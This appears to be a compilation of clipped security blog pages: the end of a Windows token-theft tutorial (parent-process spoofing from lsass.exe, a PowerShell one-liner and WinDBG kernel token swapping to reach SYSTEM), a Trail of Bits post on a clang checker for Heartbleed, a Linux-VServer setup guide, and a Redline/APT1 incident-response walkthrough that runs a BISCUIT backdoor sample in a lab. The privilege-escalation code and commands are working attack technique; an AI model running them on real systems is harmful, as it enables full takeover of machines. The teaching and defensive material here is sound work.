    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
    	GetProcessHeap(),
    	0,
    	size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL);
    
    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
    
    // Finally, create the process
    ret = CreateProcessA(
    	"C:\\Windows\\system32\\cmd.exe", 
    	NULL,
    	NULL, 
    	NULL, 
    	true, 
    	EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 
    	NULL,
    	NULL, 
    	reinterpret_cast<LPSTARTUPINFOA>(&si), 
    	&pi
    );
    
    if (ret == false) {
    	printf("Error creating new process (%d)\n", GetLastError());
    	return 3;
    }
    
[/code]

When compiled, we see that we can launch a process and inherit an access token
from a parent process running as SYSTEM such as lsass.exe:

<img src='img/parentsystem2.gif' width='828' height='473' alt='parentsystem2'
/>

The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using
Powershell:

[code]

    New-Win32Process cmd.exe -CreationFlags Newconsole -ParentProcess (Get-NtProcess -Name lsass.exe)
    
[/code]

## Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are
likely to come across in an engagement... but it goes some way to show just
how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a
process structure in the kernel address space, with the aim of updating a
process token. For example, in the popular MS15-010 privilege escalation
exploit \(found on exploit-db here\), we can see a number of references to
manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine
in which we will be looking to elevate the privileges of our cmd.exe process
to SYSTEM by manipulating kernel structures. \(I won't go through how to set
up the Kernel debugger connection as this is covered in multiple places for
multiple hypervisors.\)

Once you have WinDBG connected, we first need to gather information on our
running process which we want to elevate to SYSTEM. This can be done using the
`!process` command:

[code]

    !process 0 0 cmd.exe
    
[/code]

Returned we can see some important information about our process, such as the
number of open handles, and the process environment block address:

[code]

    PROCESS fffffa8002edd580
        SessionId: 1  Cid: 0858    Peb: 7fffffd4000  ParentCid: 0578
        DirBase: 09d37000  ObjectTable: fffff8a0012b8ca0  HandleCount:  21.
        Image: cmd.exe
    
[/code]

For our purpose, we are interested in the provided PROCESS address \(in this
example `fffffa8002edd580`\), which is actually a pointer to an `EPROCESS`
structure. The `EPROCESS` structure \(documented by Microsoft here\) holds
important information about a process, such as the process ID and references
to the process threads.

Amongst the many fields in this structure is a pointer to the process's access
token, defined in a `TOKEN` structure. To view the contents of the token, we
first must calculate the `TOKEN` address. On Windows 7 x64, the process
`TOKEN` is located at offset `0x208`, which differs throughout each version
\(and potentially service pack\) of Windows. We can retrieve the pointer with
the following command:

[code]

    kd> dq fffffa8002edd580+0x208 L1
    
[/code]

This returns the token address as follows:

[code]

    fffffa80`02edd788  fffff8a0`00d76c51
    
[/code]

As the token address is referenced within a `EX_FAST_REF` structure, we must
`AND` the value to gain the true pointer address:

[code]

    kd> ? fffff8a0`00d76c51 & ffffffff`fffffff0
    
    Evaluate expression: -8108884136880 = fffff8a0`00d76c50
    
[/code]

Which means that our true `TOKEN` address for cmd.exe is at
`fffff8a000d76c50`. Next we can dump out the `TOKEN` structure members for our
process using the following command:

[code]

    kd> !token fffff8a0`00d76c50
    
[/code]

This gives us an idea of the information held by the process token:

[code]

    User: S-1-5-21-3262056927-4167910718-262487826-1001
    User Groups:
     00 S-1-5-21-3262056927-4167910718-262487826-513
        Attributes - Mandatory Default Enabled
     01 S-1-1-0
        Attributes - Mandatory Default Enabled
     02 S-1-5-32-544
        Attributes - DenyOnly
     03 S-1-5-32-545
        Attributes - Mandatory Default Enabled
     04 S-1-5-4
        Attributes - Mandatory Default Enabled
     05 S-1-2-1
        Attributes - Mandatory Default Enabled
     06 S-1-5-11
        Attributes - Mandatory Default Enabled
     07 S-1-5-15
        Attributes - Mandatory Default Enabled
     08 S-1-5-5-0-2917477
        Attributes - Mandatory Default Enabled LogonId
     09 S-1-2-0
        Attributes - Mandatory Default Enabled
     10 S-1-5-64-10
        Attributes - Mandatory Default Enabled
     11 S-1-16-8192
        Attributes - GroupIntegrity GroupIntegrityEnabled
    Primary Group: S-1-5-21-3262056927-4167910718-262487826-513
    Privs:
     19 0x000000013 SeShutdownPrivilege               Attributes -
     23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default
     25 0x000000019 SeUndockPrivilege                 Attributes -
     33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes -
     34 0x000000022 SeTimeZonePrivilege               Attributes -
    
[/code]

So how do we escalate our process to gain SYSTEM access? Well we just steal
the token from another SYSTEM privileged process, such as lsass.exe, and
splice this into our cmd.exe EPROCESS using the following:

[code]

    kd> !process 0 0 lsass.exe
    kd> dq <LSASS_PROCESS_ADDRESS>+0x208 L1
    kd> ? <LSASS_TOKEN_ADDRESS> & FFFFFFFF`FFFFFFF0
    kd> !process 0 0 cmd.exe
    kd> eq <CMD_EPROCESS_ADDRESS+0x208> <LSASS_TOKEN_ADDRESS>
    
[/code]

To see what this looks like when run against a live system, I'll leave you
with a quick demo showing cmd.exe being elevated from a low level user, to
SYSTEM privileges:

Ring-0 Access Tokens - WinDBG Demo

  * Share this article:
  * 
  * 
  * 
  * 

  

# Using Static Analysis And Clang To Find Heartbleed – ...And You Will Know Us
by the Trail of Bits

**Created:**| _4/28/2014 10:02:33 AM_  
---|---  
**Updated:**| _4/28/2014 10:02:33 AM_  
**Author:**| __  
**Tags:**| _analysis static llvm_  
  

# Background

Friday night I sat down with a glass of Macallan 15 and decided to write a
static checker that would find the Heartbleed bug. I decided that I would
write it as an out-of-tree clang analyzer plugin and evaluate it on a few very
small functions that had the spirit of the Heartbleed bug in them, and then
finally on the vulnerable OpenSSL code-base itself.

The Clang project ships an analysis infrastructure with their compiler, it’s
invoked via scan-build. It hooks whatever existing make system you have to
interpose the clang analyzer into the build process and the analyzer is
invoked with the same arguments as the compiler. This way, the analyzer can
‘visit’ every compilation unit in the program that compiles under clang. There
are some limitations to clang analyzer that I’ll touch on in the discussion
section.

This exercise added to my list of things that I can only do while drinking: I
have the best success with first-order logic while drinking beer, and I have
the best success with clang analyzer while drinking scotch.

# Strategy

One approach to identify Heartbleed statically was proposed by Coverity
recently, which is to taint the return values of calls to ntohl and ntohs as
input data. One problem with doing static analysis on a big state machine like
OpenSSL is that your analysis either has to know the state machine to be able
to track what values are attacker influenced across the whole program, or,
they have to have some kind of annotation in the program that tells the
analysis where there is a use of input data.

I like this observation because it is pretty actionable. You mark ntohl calls
as producing tainted data, which is a heuristic, but a pretty good one because
programmers probably won’t htonl their own data.

What our clang analyzer plugin should do is identify locations in the program
where variables are written using ntohl, taint them, and then alert when those
tainted values are used as the size parameter to memcpy. Except, that isn’t
quite right, it could be the use is safe. We’ll also check the constraints of
the tainted values at the location of the call: if the tainted value hasn’t
been constrained in some way by the program logic, and it’s used as an
argument to memcpy, alert on a bug. This could also miss some bugs, but I’m
writing this over a 24h period with some Scotch, so increasing precision can
come later.

# Clang analyzer details

The clang analyzer implements a type of symbolic execution to analyze C/C++
programs. Plugging in to this framework as an analyzer requires bending your
mind around the clang analyzer view of program state. This is where I consumed
the most scotch.

The analyzer, under the hood, performs a symbolic/abstract exploration of
program state. This exploration is flow and path sensitive, so it is different
from traditional compiler data flow analysis. The analysis maintains a “state”
object for each path through the program, and in this state object are
constraints and facts about the program’s execution on that path. This state
object can be queried by your analyzer, and, your analyzer can change the
state to include information produced by your analysis.

This was one of my biggest hurdles when writing the analyzer – once I have a
“symbolic variable” in a particular state, how do I query the range of that
symbolic variable? Say there is a program fragment that looks like this:

[code]

    int data = ntohl(pkt_data);
    if(data >= 0 && data < sizeof(global_arr)) {
     // CASE A
    ...
    } else {
     // CASE B
     ...
    }
[/code]

When looking at this program from the analyzers point of view, the state
“splits” at the if into two different states A and B. In state A, there is a
constraint that data is between certain bounds, and in case B there is a
constraint that data is NOT within certain bounds. How do you access this
information from your checker?

If your checker calls the “dump” method on its given “state” object, data like
the following will be printed out:

[code]

    Ranges of symbol values:
     conj_$2{int} : { [-2147483648, -2], [0, 2147483647] }
     conj_$9{uint32_t} : { [0, 6] }
    
[/code]

In this example, _conj\_$9\{uint32\_t\}_ is our ‘data’ value above and the
state is in the A state. We have a range on ‘data’ that places it between 0
and 6. How can we, as the checker, observe that there’s a difference between
this range and an unconstrained range of say \[-2147483648, 2147483648\]?

The answer is, we create a formula that tests the symbolic value of ‘data’
against some conditions that we enforce, and then we ask the state what
program states exist when this formula is true and when it is false. If a new
formula contradicts an existing formula, the state is infeasible and no state
is generated. So we create a formula that says, roughly, “data > 500″ to ask
if data could ever be greater than 500. When we ask the state for new states
where this is true and where it is false, it will only give us a state where
it is false.

This is the kind of idiom used inside of clang analyzer to answer questions
about constraints on state. The arrays bounds checkers use this trick to
identify states where the sizes of an array are not used as constraints on
indexes into the array.

# Implementation

Your analyzer is implemented as a C++ class. You define different “check”
functions that you want to be notified of when the analyzer is exploring
program state. For example, if your analyzer wants to consider the arguments
to a function call before the function is called, you create a member method
with a signature that looks like this:

[code]

    void checkPreCall(const CallEvent &Call, CheckerContext &C) const;
    
[/code]

Your analyzer can then match on the function about to be \(symbolically\)
invoked. So our implementation works in three stages:

  1. Identify calls to ntohl/ntoh
  2. Taint the return value of those calls
  3. Identify unconstrained uses of tainted data

We accomplish the first and second with a _checkPostCall_ visitor that roughly
does this:

[code]

    void NetworkTaintChecker::checkPostCall(const CallEvent &Call,
    CheckerContext &C) const {
      const IdentifierInfo *ID = Call.getCalleeIdentifier();
    
      if(ID == NULL) {
        return;
      }
    
      if(ID->getName() == "ntohl" || ID->getName() == "ntohs") {
        ProgramStateRef State = C.getState();
        SymbolRef 	    Sym = Call.getReturnValue().getAsSymbol();
    
        if(Sym) {
          ProgramStateRef newState = State->addTaint(Sym);
          C.addTransition(newState);
        }
      }
    
[/code]

Pretty straightforward, we just get the return value, if present, taint it,
and add the state with the tainted return value as an output of our visit via
‘addTransition’.

For the third goal, we have a _checkPreCall_ visitor that considers a function
call parameters like so:

[code]

    void NetworkTaintChecker::checkPreCall(const CallEvent &Call,
    CheckerContext &C) const {
      ProgramStateRef State = C.getState();
      const IdentifierInfo *ID = Call.getCalleeIdentifier();
    
      if(ID == NULL) {
        return;
      }
      if(ID->getName() == "memcpy") {
        SVal            SizeArg = Call.getArgSVal(2);
        ProgramStateRef state =C.getState();
    
        if(state->isTainted(SizeArg)) {
          SValBuilder       &svalBuilder = C.getSValBuilder();
          Optional<NonLoc>  SizeArgNL = SizeArg.getAs<NonLoc>();
    
          if(this->isArgUnConstrained(SizeArgNL, svalBuilder, state) == true) {
            ExplodedNode  *loc = C.generateSink();
            if(loc) {
              BugReport *bug = new BugReport(*this->BT, "Tainted,
    unconstrained value used in memcpy size", loc);
              C.emitReport(bug);
            }
          }
        }
      }
    
[/code]

Also relatively straightforward, our logic to check if a value is
unconstrained is hidden in ‘isArgUnConstrained’, so if a tainted, symbolic
value has insufficient constraints on it in our current path, we report a bug.

# Some implementation pitfalls

It turns out that OpenSSL doesn’t use ntohs/ntohl, they have n2s / n2l macros
that re-implement the byte-swapping logic. If this was in LLVM IR, it would be
tractable to write a “byte-swapping recognizer” that uses an amount of logic
to prove when a piece of code approximates the semantics of a byte-swap.

There is also some behavior that I have not figured out in clang’s creation of
the AST for openssl where calls to ntohs are replaced with
_\_\_builtin\_pre\(\_\_x\)_ , which has no _IdentifierInfo_ and thus no name.
To work around this, I replaced the n2s macro with a function call to xyzzy,
resulting in linking failures, and adapted my function check from above to
check for a function named xyzzy. This worked well enough to identify the
Heartbleed bug.

# Solution output with demo programs and OpenSSL

First let’s look at some little toy programs. Here is one toy example with
output:

[code]

    $ cat demo2.c
    
    ...
    
    int data_array[] = { 0, 18, 21, 95, 43, 32, 51};
    
    int main(int argc, char *argv[]) {
      int   fd;
      char  buf[512] = {0};
    
      fd = open("dtin", O_RDONLY);
    
      if(fd != -1) {
        int size;
        int res;
    
        res = read(fd, &size, sizeof(int));
    
        if(res == sizeof(int)) {
          size = ntohl(size);
    
          if(size < sizeof(data_array)) {
            memcpy(buf, data_array, size);
          }
    
          memcpy(buf, data_array, size);
        }
    
        close(fd);
      }
    
      return 0;
    }
    
    $ ../docheck.sh
    scan-build: Using '/usr/bin/clang' for static analysis
    /usr/bin/ccc-analyzer -o demo2 demo2.c
    demo2.c:30:7: warning: Tainted, unconstrained value used in memcpy size
          memcpy(buf, data_array, size);
          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    1 warning generated.
    scan-build: 1 bugs found.
    scan-build: Run 'scan-view /tmp/scan-build-2014-04-26-223755-8651-1' to
    examine bug reports.
    
[/code]

And finally, to see it catching Heartbleed in both locations it was present in
OpenSSL, see the following:

# Discussion

The approach needs some improvement, we reason about if a tainted value is
“appropriately” constrained or not in a very coarse-grained way. Sometimes
that’s the best you can do though – if your analysis doesn’t know how large a
particular buffer is, perhaps it’s enough to show to an analyst “hey, this
value could be larger than 5000 and it is used as a parameter to memcpy, is
that okay?”

I really don’t like the limitation in clang analyzer of operating on ASTs. I
spent a lot of time fighting with the clang AST representation of ntohs and I
still don’t understand what the source of the problem was. I kind of just want
to consider a programs semantics in a virtual machine with very simple
semantics, so LLVM IR seems ideal to me. This might just be my PL roots
showing though.

I really do like the clang analyzers interface to path constraints. I think
that interface is pretty powerful and once you get your head around how to
apply your problem to asking states if new states satisfying your constraints
are feasible, it’s pretty straightforward to write new analyses.

# Edit: Code Post

I’ve posted the code for the checker to Github, here.

# Linux-Vserver on Debian Sarge | HowtoForge - Linux Howtos and Tutorials
**Created:**| _5/9/2010 8:30:03 PM_  
---|---  
**Updated:**| _5/9/2010 8:30:17 PM_  
**Author:**| __  
**Tags:**| _Linux virtusalisation Tutorials Lab-Setup_  
  

Do you like HowtoForge? Please consider supporting us by becoming a
subscriber.

Submitted by themachine \(Contact Author\) \(Forums\) on Fri, 2005-11-11
17:17. :: Virtualization

## Summary

  
You can find an easier to read version of this howto at 5dollarwhitebox.org.  
  
  
Quoted from 13thfloor.at/vserver/project: Linux-VServer allows you to create
virtual private servers and security contexts which operate like a normal
Linux server, but allow many independent servers to be run simultaneously in
one box at full speed. All services, such as ssh, mail, Web, and databases,
can be started on such a VPS, without modification, just like on any real
server. Each virtual server has its own user account database and root
password and doesn't interfere with other virtual servers.  
You can find a presentation on Linux-vserver at http://www.linux-vserver.org.  
  
The two main terms to know are:

  * **Host System:** This is the physical server that "hosts" the Guest OSs \(virtual servers\).
  * **Guest System:** These are the virtual servers that run on top of the Host OS.

  

## Preparation

Start out with a fresh install of Debian Sarge 3.1. It is recommended to keep
the host system as minimal as possible \(I rarely see any reason to run any
more than SSH and iptables\).  

## Packages to install

Always update your apt database before installing software, and upgrade
current packages: **\# apt-get update && apt-get upgrade**  
Then we need to install a few basic packages:  

  * **util-vserver:** Userland utilities to control virtual servers
  * **ssh:** This should probably have been installed already
  * **ncurses-base, and libncurses5-dev:** Needed for "make menuconfig" when compiling kernel.

  
**\# apt-get install util-vserver ssh ncurses-base libncurses5-dev**  

## The Files

| **/var/lib/vservers**|  Home directory for the vservers files  
---|---  
**/etc/vservers.conf**|  basic config file \(not much to see there\)  
**/etc/vservers**|  Hold the config directories for each virtual server  
**/usr/sbin/vserver**|  Utility to interact, build, start, stop, enter, etc
the vservers  
**/bin/vshelper**|  Another utility to control how vservers function  
**/usr/lib/util-vserver**|  Main scripts/functions/etc  
  

## The Kernel

Please that I have not done this section "The Debian Way". Everything was done
using a Vanilla kernel from kernel.org. You can find good links in the user
comments below for other resources. Get the latest Kernel, currently linux-
vserver latest stable release is for the 2.6.12.4 kernel.. which is what we
get:

**\# cd /usr/src  
  
\# wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.12.4.tar.gz**

  
  
Get the latest kernel patch from linux-vserver.org or 13thfloor.at/vserver:

**\#
wgethttp://www.13thfloor.at/vserver/s\_rel26/v2.0/patch-2.6.12.4-vs2.0.diff.gz  
\# tar -zxvf linux-2.6.12.4.tar.gz  
\# gunzip patch-2.6.12.4-vs2.0.diff.gz  
\# mv patch-2.6.12.4-vs2.0.diff /usr/src/linux-2.6.12.4  
\# Patch the kernel sources:  
\# cd /usr/src/linux-2.6.12.4  
\# cat patch-2.6.12.4-vs2.0.diff | patch -p1**
  
If you're already running a similar 2.6.x kernel you can copy your current
config before building. It should be somewhere like "/boot/config-2.6.x"

**\# cp /boot/config-2.6.X /usr/src/linux-2.6.12.4/.config**

 _That last command is only if you want to use an existing config... please
don't attempt to use a 2.4.X config file... pretty please. ;\)_

  
Ok, lets make this happen. There are a few things that you want to include
when we compile. First things first though, you need to have a working compile
for your system... and that I can not help you with. Please reference link if
you need help compiling a kernel.

**\# make menuconfig**

 _For future use, you should probably include LVM \(and dev-mapper
support\)... as this is handy for virtual servers._

  
You see a category for "Linux Vserver". The default selections should be
groovy, however you should have something like the following selected:

**Enable Legacy kernel API  
Enable Proc Security  
Enable Hard CPU Limits**

  
Cool... now we have our config.... lets make the kernel:

**\# make  
\# make modules\_install  
\# cp .config /boot/config-2.6.12.4-vs2.0  
\# cp System.map /boot/System.map-2.6.12.4-vs2.0  
\# cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.12.4-vs2.0  
\# mkinitrd -o /boot/initrd.img-2.6.12.4-vs2.0 2.6.12.4-vs2.0**

  
Then we will want to update our grub config:

Using the 'vi' command edit **/boot/grub/menu.lst** and add the following
lines \*BEFORE\* the other entries already there... and make sure that the
line "default" is set to "0":_title Vanilla 2.6.12.4-vs2.0  
root \(hd0,0\)  
kernel /vmlinuz-2.6.12.4-vs2.0 root=/dev/hda2 ro  
initrd /initrd.img-2.6.12.4-vs2.0  
savedefault  
boot_

  
  
And there you have it. Now, we should be able to reboot and have our new
kernel ready for some virtual servers.

**\# reboot**

  
Check that kernel after we boot up to make sure we're running on the new one:

**\# uname -r**  
 _2.6.12.4-vs2.0_

  
Nice\!

  

## Setting Up The Virtual Servers

Creating virtual Debian Servers on a Debian host is next to ridiculously
simple. The following lays it out for you:

**\# vserver <VSERVER\_NAME> build \  
-n <VSERVER\_NAME> \  
\--hostname <FQDN> \  
\--interface <NET\_DEVICE>:<IP>/<CIDR> \  
-m debootstrap -- -d <DEBIAN\_DISTRO>**
  
  
So, our first virtual server will have the following information:

**VSERVER\_NAME**|  vserver1  
---|---  
**FQDN**| vserver1.mydomain.com  
**NET\_DEVICE**|  eth0  
**IP**|  192.168.1.10  
**CIDR**|  24  _\(255.255.255.0\)_  
**DEBIAN\_DISTRO**|  sarge  
  
Therefore, the following command will create it:

**\# vserver vserver1 build \  
-n vserver1 \  
\--hostname vserver1.mydomain.com \  
\--interface eth0:192.168.1.10/24 \  
-m debootstrap -- -d sarge**
 _The backslashes '\' signify a new line... however you can execute this all
as one command without the use of backslashes._

  
And there you go... the installation begins a debian net install of the
selected distro. This should take no more than a few minutes. On my system,
the base install only takes up 144MB. Now lets see what we have:

**  
\# ls -lah /var/lib/vservers/vserver1**  
  
 _total 80K  
drwxr-xr-x 20 root root 4.0K Nov 10 08:17 .  
drwxr-xr-x 4 root root 4.0K Nov 10 08:13 ..  
drwxr-xr-x 2 root root 4.0K Nov 10 08:17 bin  
drwxr-xr-x 2 root root 4.0K Dec 15 2004 boot  
drwxr-xr-x 3 root root 4.0K Nov 10 08:13 dev  
drwxr-xr-x 37 root root 4.0K Nov 10 08:17 etc  
drwxrwsr-x 2 root staff 4.0K Dec 15 2004 home  
drwxr-xr-x 2 root root 4.0K Nov 10 08:16 initrd  
drwxr-xr-x 7 root root 4.0K Nov 10 08:17 lib  
drwxr-xr-x 2 root root 4.0K Nov 10 08:16 media  
drwxr-xr-x 2 root root 4.0K Dec 15 2004 mnt  
drwxr-xr-x 2 root root 4.0K Nov 10 08:16 opt  
drwxr-xr-x 2 root root 4.0K Dec 15 2004 proc  
drwxr-xr-x 2 root root 4.0K Nov 10 08:16 root  
drwxr-xr-x 2 root root 4.0K Nov 10 08:17 sbin  
drwxr-xr-x 2 root root 4.0K Nov 10 08:16 srv  
drwxr-xr-x 2 root root 4.0K May 10 2005 sys  
drwxrwxrwt 2 root root 4.0K Nov 10 08:17 tmp  
drwxr-xr-x 11 root root 4.0K Nov 10 08:16 usr  
drwxr-xr-x 13 root root 4.0K Nov 10 08:16 var_**\# ls -lah
/etc/vservers/vserver1** _  
  
total 28K  
drwxr-xr-x 5 root root 4.0K Nov 10 08:13 .  
drwxr-xr-x 6 root root 4.0K Nov 10 08:13 ..  
drwxr-xr-x 4 root root 4.0K Nov 10 08:13 apps  
-rw-r--r-- 1 root root 112 Nov 10 08:13 fstab  
drwxr-xr-x 3 root root 4.0K Nov 10 08:13 interfaces  
-rw-r--r-- 1 root root 5 Nov 10 08:13 name  
lrwxrwxrwx 1 root root 22 Nov 10 08:13 run -> /var/run/vservers/vserver1  
drwxr-xr-x 2 root root 4.0K Nov 10 08:13 uts  
lrwxrwxrwx 1 root root 37 Nov 10 08:13 vdir ->
/etc/vservers/.defaults/vdirbase/vserver1_

  
  
Now that we have our vserver installed, lets start it up. The syntax for the
'vserver' command is:

**\# vserver <VSERVER\_NAME> \[ start | stop | restart | enter \]**
  
And for our **vserver1** :

**\# vserver vserver1 start** _Starting system log daemon: syslogd._  
_Starting kernel log daemon: klogd.  
Starting MTA: exim4.  
Starting internet superserver: inetd.  
Starting deferred execution scheduler: atd.  
Starting periodic command scheduler: cron.  
..._**\# vserver-stat** _  
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME  
0 35 73.4M 5.4K 0m05s21 0m02s33 1m13s00 root server  
49152 5 11M 967 0m00s00 0m00s00 0m30s52 vserver1_  
  
  
\# **vserver vserver1 enter**  
vserver1:/\#

  
  
And you're now in the context of the virtual server. To get out and back to
the host system, just type "exit".

  

## Notes on Configuration

You'll first need to run "apt-setup" and configure apt same as any other
debian system. The debian bootstrap install is a very minimal base
installation. You will need to install everything that you want.

It should be mentioned that each virtual server has its own IP address.
However, since these IPs are configured as Aliases to you actually net device
\(i.e. eth0\) they are all listening on the same physical device. This can
pose a problem when default configurations specify to "Listen" on all
interfaces. Every service within the vserver must specify a Listen Address.

  
For example:

**SSH:**

**\# apt-get install sshd  
  
\# vi /etc/ssh/sshd\_config**

  
Change the line:

_\#ListenAddress 0.0.0.0_

  
To

_ListenAddress 192.168.1.10_

  
And...

**\# /etc/init.d/ssh restart**

  
  
The rest is really up to your imagination and figuring out the wonders of
undocumented open source... have fun\!  

# Veriﬁed Just-In-Time Compiler on x86

**Created:**| _6/16/2010 8:32:38 PM_  
---|---  
**Updated:**| _6/16/2010 8:33:11 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification compiler-building papers
reversing_  
  
<img src='img/Temp2_8867' />

# HolisticInfoSec: toolsmith: Redline, APT1, and you – we’re all owned

**Created:**| _1/15/2014 9:46:49 PM_  
---|---  
**Updated:**| _1/15/2014 9:46:49 PM_  
**Author:**| __  
**Tags:**| _post-exploitation Memory forensics analysis_  
  

# **t** oolsmith: Redline, APT1, and you – we’re all owned****

  
<img src='img/Temp2_3957.png' width='178' height='200' />

**Prerequisites/dependencies**

Windows OS and .NET 4

**Introduction**

Embrace this simple fact, we’re all owned**.** Maybe you aren’t right now, but
you probably were at some point or will be in the future**.** “Assume
compromise” is a stance I’ve long embraced, if you haven’t climbed aboard this
one-way train to reality, I suggest you buy a ticket**.** If headlines over
the last few years weren’t convincing enough, Mandiant’s _APT1, Exposing One
of China’s Cyber Espionage Units_ report should serve as your re-
education**.** As richly detailed, comprehensive, and well-written as it is,
this report is groundbreaking in the extent of insights on our enemy it
elucidates, but not necessarily as a general concept**.** Our adversary has
been amongst us for many, many years and the problem will get much worse
before it gets better**.** They are all up in your grill, people; your ability
to defend yourself and your organizations, and to hunt freely and aggressively
is the new world order**.** I am reminded, courtesy of my friend TJ O’Connor,
of a most relevant Patton quote: "a violently executed plan today is better
than a perfect plan expected next week**.** " Be ready to execute. Toolsmith
has spent six and half years hoping to enable you, dear reader, to execute;
take the mission to heart now more than ever**.**

I’ve covered Mandiant tools before for good reason: RedCurtain  in 2007,
Memoryze  in 2009, and Highlighter  in 2011**.** I stand accused of being a
fanboy  and hereby render myself guilty**.** If you’ve read the APT1 report
you should have taken immediate note of the use of Redline and Indicators of
Compromise \(IOCs\) in Appendix G.

Outreach to Richard Bejtlich, Mandiant’s CSO, quickly established goals and
direction: _“Mandiant hopes that our free Redline tool will help incident
responders find intruders on their network**.** Combining indicators from the
APT1 report with Redline’s capabilities gives responders the ability to look
for interesting activity on endpoints, all for free**.** ”_ Well in keeping
with the toolsmith’s love of free and open source tools, this conversation led
to an immediate connection with Ted Wilson, Redline’s developer, who kindly
offered his perspective:

_“Working side by side with the folks here at Mandiant who are out there on
the front lines every day is definitely what has driven Redline’s success to
date**.** Having direct access to those with firsthand experience
investigating current attack methodologies allows us stay ahead of a very fast
moving and quickly evolving threat landscape**.** We are in an exciting time
for computer security, and I look forward to seeing Redline help new users
dive headfirst into computer security awareness**.**_

_Redline has a number of impressive features planned for the near future**.**
Focusing first on expanding the breadth of live response data Redline can
analyze**.** Some highlights from the next Redline release \(v1**.** 8\)
include full file system and registry analysis capabilities, as well as
additional filtering and analysis tools around the always popular Timeline
feature**.** Further out, we hope to leverage that additional data to provide
expanded capabilities that help both the novice and the expert investigators
alike**.** ”_

Mandiant’s Lucas Zaichkowsky, who will have presented on Redline at RSA by the
time you read this, sums up Redline’s use cases succinctly:

1**.** Memory analysis from a live system or memory image file**.** Great for
malware analysis.

2**.** Collect and review a plethora of forensic data from hosts in order to
investigate an incident**.** This is commonly referred to as a Live IR
collector**.**

3\. Create an IOC search collector to run against hosts to see if any IOCs
match**.**

He went further to indicate that while the second scenario is the most common
use case, in light of current events \(APT1\), the third use case has a huge
spotlight on it right now**.** This is where we’ll focus this discussion to
utilize the APT1 IOC files and produce a collector to analyze an APT1
victim**.**

**Installation and Preparation**

Mandiant provides quite a bit of material regarding preparation and use of
Redline including an extensive user guide , and two  webinars  well worth
taking the time to watch**.** Specific to this conversation however, with
attention to APT1 IOCs, we must prepare Redline for a targeted Analysis
Session**.** The concept here is simple: install Redline on an analysis
workstation and prepare a collector for deployment to suspect systems.

To begin, download the entire _Digital Appendix& Indicators _ archive
associated with the APT1 report**.**

Wesley McGrew \(McGrew Security\) put together a great blog post  regarding
matching APT1 malware names to publicly available malware samples from
VirusShare  \(which is now _the_ malware sample repository\)**.** I’ll analyze
a compromised host with one of these samples but first let’s set up
Redline**.**

I organize my Redline file hierarchy under \tools\redline with individual
directories for audits, collectors, IOCs, and sessions**.** I copied Appendix
G \(Digital\) – IOCs from the above mentioned download to APT1 under
\tools\redline\IOCs**.**

Open Redline, and select Create a Comprehensive Collector under Collect
Data**.** Select Edit Your Script and enable Strings under Process Listing and
Driver Enumeration, and be sure to check Acquire Memory Image as seen in
**Figure 1****.**

<img src='img/Temp2_3954.png' />  
---  
**Figure 1:** Redline script configuration  
I saved the collector as APT1comprehensive**.** These steps will add a lot of
time to the collection process but will pay dividends during analysis**.** You
have the option to build an IOC Search Collector but by default this leaves
out most of the acquisition parameters selected under Comprehensive
Collector**.** You can \(and should\) also add analysis inclusive of the IOCs
after acquisition during the Analyze Data phase**.**

**Redline, IOCs, and a live sample**

I grabbed the binary 034374db2d35cf9da6558f54cec8a455 from VirusShare,
described in Wesley’s post as a match for BISCUIT malware**.** BISCUIT is
defined in _Appendix C – The Malware Arsenal_ from _Digital Appendix &
Indicators _as a backdoor with all the expected functionality including
gathering system information, file download and upload, create or kill
processes, spawn a shell, and enumerate users**.**

I renamed the binary gc.exe, dropped it in C:\WINDOWS\system32, and executed
it on a virtualized lab victim**.** I rebooted the VM for good measure to
ensure that our little friend from the Far East achieved persistence, then
copied the collector created above to the VM and ran RunRedlineAudit.bat**.**
If you’re following along at home, this is a good time for a meal, walking the
dog, and watching The Walking Dead episode you DVR’d \(it’ll be awhile if you
enabled strings as advised\)**.** Now sated, exercised, and your zombie fix
pulsing through your bloodstream, return to your victim system and copy back
the contents of the audits folder from the collector’s file hierarchy to your
Redline analysis station, select From a Collector under Analyze Data, and
choose the copied audit as seen in **Figure 2****.**

<img src='img/Temp2_3956.png' />  
---  
**Figure 2:** Analyze collector results with Redline  
Specify where you’d like to save your Analysis Session
\(D:\tools\redline\sessions if you’re following my logic\)**.** Let Redline
crunch a bit and you will be rewarded with instant IOC goodness**.** Right out
of the gate the report details indicated that “2 out of my 47 Indicators of
Compromise have hit against this session**.** ”

Sweet, we see a file hash hit and a BISCUIT family hit as seen in **Figure
3****.**

<img src='img/Temp2_3955.png' width='320' height='106' />  
---  
**Figure 3:** IOC hits against the Session  
Your results will also be written out to HTML automatically**.** See Report
Location at the bottom of the Redline UI**.** Note that the BISCUIT family hit
is identified via UID a1f02cbe**.** Search a1f02cbe under your IOCs repository
and you should see a result such as
D:\tools\redline\IOCs\APT1\a1f02cbe-7d37-4ff8-bad7-c5f9f7ea63a3.ioc**.**

Open the .ioc in your preferred editor and you’ll get a feel for what
generates the hits**.** The most direct markup match is:

034374db2d35cf9da6558f54cec8a455

In the Reline UI, remember to click the little blue button with the embedded i
\(information\) associated with IOC hit for highlights on the specific
IndicatorItem that triggered the hit for you and displays full metadata
specific to the file, process, or other indicator**.**

But wait, there’s more. Even without defined, parameterized IOC definitions,
you can still find other solid indicators on your own**.** I drilled into the
Processes tab, and selected gc.exe, expanded the selection and clicked
Strings**.** Having studied Appendix D – FQDNs, and checked out the
